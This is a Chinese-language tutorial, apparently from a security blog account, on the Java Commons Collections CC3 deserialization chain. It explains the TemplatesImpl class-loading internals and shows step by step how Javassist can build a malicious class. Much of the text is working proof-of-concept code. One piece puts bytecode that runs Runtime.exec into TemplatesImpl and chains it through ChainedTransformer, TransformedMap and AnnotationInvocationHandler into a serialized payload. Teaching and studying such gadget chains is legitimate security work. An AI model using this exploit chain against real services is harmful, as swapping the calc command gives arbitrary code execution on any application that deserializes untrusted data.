ctConstructor1.setBody(\"Runtime.getRuntime().exec(\\\"calc\\\");\"); byte[] byteCode = ctClass.toBytecode(); TemplatesImpl templates = new TemplatesImpl(); Class aClass = templates.getClass(); Field name = aClass.getDeclaredField(\"_name\"); name.setAccessible(true); name.set(templates, \"abc\"); Field bytecodes = aClass.getDeclaredField(\"_bytecodes\"); bytecodes.setAccessible(true); bytecodes.set(templates, new byte[][]{byteCode}); Field tfactory = aClass.getDeclaredField(\"_tfactory\"); tfactory.setAccessible(true); tfactory.set(templates, new TransformerFactoryImpl()); // CC1 链 Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer(\"newTransformer\",null,null) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap map = new HashMap(); map.put(\"value\", 2); Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer); // 通过反射获取 AnnotationlnvocationHandler 的构造方法 Class cls = Class.forName(\"sun.reflect.annotation.AnnotationInvocationHandler\"); Constructor annotationInvocationHandlerConstructorMethod = cls.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandlerConstructorMethod.setAccessible(true); Object obj = annotationInvocationHandlerConstructorMethod.newInstance(Target.class, transformedMap); serialize(obj); unserialize(\"ser.bin\"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(\"ser.bin\")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }}

CC 3 链可以利用 CC1 的 LazyMap 链也可以利用 CC1 的 TransformedMap 链

TemplatesImpl 利用链

getTransletInstance() 这个方法会加载并实例化 Translet 类(即编译后的 XSLT 模板),如果这个类被恶意构造,可能在实例化时执行任意代码。

if (_class == null) defineTransletClasses(); 由这段可知当 _class = null 则执行 defineTransletClasses()

private void defineTransletClasses() throws TransformerConfigurationException { // 判断 _bytecodes 是否为空,如果为空抛出异常 if (_bytecodes == null) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); } // 创建一个自定义的类加载器 TransletClassLoader,用于加载 _bytecodes 中的 Translet 类。 // 作用是为后续加载恶意类字节码做准备 TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { // 根据 _bytecodes 数组长度创建一个 Class[] _class 数组,用于存储所有加载的类。 // 如果有多个类(即 classCount > 1),则创建 _auxClasses 来保存辅助类(非主类)。 final int classCount = _bytecodes.length; _class = new Class[classCount]; if (classCount > 1) { _auxClasses = new HashMap(); } // 使用之前创建的 TransletClassLoader 加载每个 _bytecodes[i] 为 Class 对象。 // 检查该类的父类是否是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet: // 是 → 认为主类,记录其索引到 _transletIndex。 // 否 → 存入 _auxClasses 中作为辅助类。 for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); // 检测父类 final Class superClass = _class[i].getSuperclass(); // Check if this is the main class // 对父类进行判断,equals(ABSTRACT_TRANSLET) 表示父类是否为 AbstractTranslet if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } //如果没有找到继承自 AbstractTranslet 的类(即 _transletIndex == -1),抛出异常。 // 表示无法构造合法的 Translet 实例。 if (_transletIndex < 0) { ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); }}

private TransformerFactory _tfactory; 

  • 它是一个 TransformerFactory 类型的对象,在 XSLTC 中用于创建各个组件,比如 TransletClassLoader
  • 在调用 newTransformer()getTransletInstance() 时,会使用这个 _tfactory 来创建类加载器并加载恶意字节码。
try { final int classCount = _bytecodes.length; _class = new Class[classCount]; if (classCount > 1) { _auxClasses = new HashMap(); } for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); // Check if this is the main class if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0) { ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString()); }}catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException(err.toString());}catch (LinkageError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString());}

这段代码是 TemplatesImpl 类中用于加载和验证 Translet 类字节码的核心逻辑,在反序列化利用链中属于关键环节。负责将 _bytecodes 字段中的字节数组加载为 java 类,并从中识别出主类(继承 AbstractTranslet 的类),为后续实例化做准备

通过上述内容,可知要利用 TemplatesImpl 需要满足三个条件

  • _bytecodes 字段(二维数组)不为空,可以把恶意类转成字节码赋值给它;
  • 恶意类要继承 AbstractTranslet
  • _tfactory 字段不为 null (new TransformerFactory());

Javassist 和 ClassLoadder 的配合生成恶意类

maven 引入依赖

  org.apache.commons commons-collections4 4.0   org.javassist javassist 3.22.0-GA 

Javassist 基本实现

public class TestJavassist { public static void main(String[] args) throws CannotCompileException, IOException { // ClassPool:类池,用于管理类 // CtClass:表示一个类 // CtField:表示类的字段 ClassPool pool = ClassPool.getDefault(); // 创建一个新的类对象 CtClass,类名为 “A” CtClass ctClass = pool.makeClass(\"A\"); CtField age = CtField.make(\"private int age;\", ctClass); // 创建一个字段对象 ctClass.addField(age);  // 将之前创建的字段 age 添加到类 A 中 ctClass.writeFile(\"src/main/java\"); }}

创建的类时如果没有手动创建构造器,会默认生成一个无参构造器

public class TestJavassist { public static void main(String[] args) throws CannotCompileException, IOException { // ClassPool:类池,用于管理类 // CtClass:表示一个类 // CtField:表示类的字段 ClassPool pool = ClassPool.getDefault(); // 创建一个新的类对象 CtClass,类名为 “A” CtClass ctClass = pool.makeClass(\"A\"); CtField age = CtField.make(\"private int age;\", ctClass); // 创建一个字段对象 ctClass.addField(age);  // 将之前创建的字段 age 添加到类 A 中 CtMethod sayHi = CtMethod.make(\"public void sayHi() {}\", ctClass); // 创建一个方法对象 sayHi.setBody(\"System.out.println(\\\"Hi\\\");\"); // 创建方法体 ctClass.addMethod(sayHi); // 将方法添加到类中 ctClass.writeFile(\"src/main/java\"); }}

创建静态代码块

public class TestJavassist { public static void main(String[] args) throws CannotCompileException, IOException { // ClassPool:类池,用于管理类 // CtClass:表示一个类 // CtField:表示类的字段 ClassPool pool = ClassPool.getDefault(); // 创建一个新的类对象 CtClass,类名为 “A” CtClass ctClass = pool.makeClass(\"A\"); CtField age = CtField.make(\"private int age;\", ctClass); // 创建一个字段对象 ctClass.addField(age);  // 将之前创建的字段 age 添加到类 A 中 CtMethod sayHi = CtMethod.make(\"public void sayHi() {}\", ctClass); // 创建一个方法对象 sayHi.setBody(\"System.out.println(\\\"Hi\\\");\"); // 创建方法体 ctClass.addMethod(sayHi); // 将方法添加到类中 CtConstructor ctConstructor = new CtConstructor(new CtClass[]{CtClass.intType}, ctClass); // 创建有参构造器 ctClass.addConstructor(ctConstructor); CtConstructor ctConstructor1 = ctClass.makeClassInitializer(); // 创建静态代码块 ctConstructor1.setBody(\"Runtime.getRuntime().exec(\\\"calc\\\");\"); ctClass.writeFile(\"src/main/java\"); }}

将动态生成的类转成字节码

public class TestJavassist { public static void main(String[] args) throws CannotCompileException, IOException { // ClassPool:类池,用于管理类 // CtClass:表示一个类 // CtField:表示类的字段 ClassPool pool = ClassPool.getDefault(); // 创建一个新的类对象 CtClass,类名为 “A” CtClass ctClass = pool.makeClass(\"A\"); CtField age = CtField.make(\"private int age;\", ctClass); // 创建一个字段对象 ctClass.addField(age);  // 将之前创建的字段 age 添加到类 A 中 CtMethod sayHi = CtMethod.make(\"public void sayHi() {}\", ctClass); // 创建一个方法对象 sayHi.setBody(\"System.out.println(\\\"Hi\\\");\"); // 创建方法体 ctClass.addMethod(sayHi); // 将方法添加到类中 CtConstructor ctConstructor = new CtConstructor(new CtClass[]{CtClass.intType}, ctClass); // 创建有参构造器 ctClass.addConstructor(ctConstructor); CtConstructor ctConstructor1 = ctClass.makeClassInitializer(); // 创建静态代码块 ctConstructor1.setBody(\"Runtime.getRuntime().exec(\\\"calc\\\");\"); byte[] byteCode = ctClass.toBytecode(); System.out.println(Arrays.toString(byteCode)); ctClass.writeFile(\"src/main/java\"); }}
byte[] byteCode = ctClass.toBytecode();System.out.println(Arrays.toString(byteCode));

将动态生成的类 A 转化为字节码,并打印该字节码的十六进制表示。

ClassLoader 类的 defineClass 方法用于将字节数组转换为 Class 对象,转换后的对象被存储在内存中,通过 newInstance 调用

  • 要使用 newInstance 调用转换后的对象,需要保证对象中有一个无参构造方法

由于 defineClass() 方法被 protected 修饰,所以无法直接实例化调用。创建一个 MyClassLoader 类继承 ClassLoader 类再来调用 defineClass() 方法

创建一个 MyClassLoader 类

package org.example;public class MyClassLoader extends ClassLoader{ public MyClassLoader(ClassLoader parent) { super(parent); } public Class myDefineClass(byte[] b) { return super.defineClass(b, 0, b.length); }}
public class TestJavassist { public static void main(String[] args) throws CannotCompileException, IOException, InstantiationException, IllegalAccessException { // ClassPool:类池,用于管理类 // CtClass:表示一个类 // CtField:表示类的字段 ClassPool pool = ClassPool.getDefault(); // 创建一个新的类对象 CtClass,类名为 “A” CtClass ctClass = pool.makeClass(\"A\"); CtField age = CtField.make(\"private int age;\", ctClass); // 创建一个字段对象 ctClass.addField(age);  // 将之前创建的字段 age 添加到类 A 中 CtMethod sayHi = CtMethod.make(\"public void sayHi() {}\", ctClass); // 创建一个方法对象 sayHi.setBody(\"System.out.println(\\\"Hi\\\");\"); // 创建方法体 ctClass.addMethod(sayHi); // 将方法添加到类中// CtConstructor ctConstructor = new CtConstructor(new CtClass[]{CtClass.intType}, ctClass); // 创建有参构造器// ctClass.addConstructor(ctConstructor); CtConstructor ctConstructor1 = ctClass.makeClassInitializer(); // 创建静态代码块 ctConstructor1.setBody(\"Runtime.getRuntime().exec(\\\"calc\\\");\"); byte[] byteCode = ctClass.toBytecode();// System.out.println(Arrays.toString(byteCode)); MyClassLoader myClassLoader = new MyClassLoader(ClassLoader.getSystemClassLoader()); Class aClass = myClassLoader.myDefineClass(byteCode); aClass.newInstance();// ctClass.writeFile(\"src/main/java\"); }}

利用链 POC

public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass superClass = pool.get(\"com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet\"); CtClass ctClass = pool.makeClass(\" TemplatesImplTest\"); ctClass.setSuperclass(superClass); // 设置父类为 AbstractTranslet CtConstructor ctConstructor1 = ctClass.makeClassInitializer(); ctConstructor1.setBody(\"Runtime.getRuntime().exec(\\\"calc\\\");\"); byte[] byteCode = ctClass.toBytecode(); TemplatesImpl templates = new TemplatesImpl(); Class aClass = templates.getClass(); Field name = aClass.getDeclaredField(\"_name\"); name.setAccessible(true); name.set(templates, \"abc\"); Field bytecodes = aClass.getDeclaredField(\"_bytecodes\"); bytecodes.setAccessible(true); bytecodes.set(templates, new byte[][]{byteCode}); Field tfactory = aClass.getDeclaredField(\"_tfactory\"); tfactory.setAccessible(true); tfactory.set(templates, new TransformerFactoryImpl()); templates.newTransformer();}

在实战配合 CC 利用链的时候 templates.newTransformer(); 不需要写

公众号:笨蛙安全

实时分享代码审计、新漏洞复现教程、Java 安全等渗透测试相关知识!!!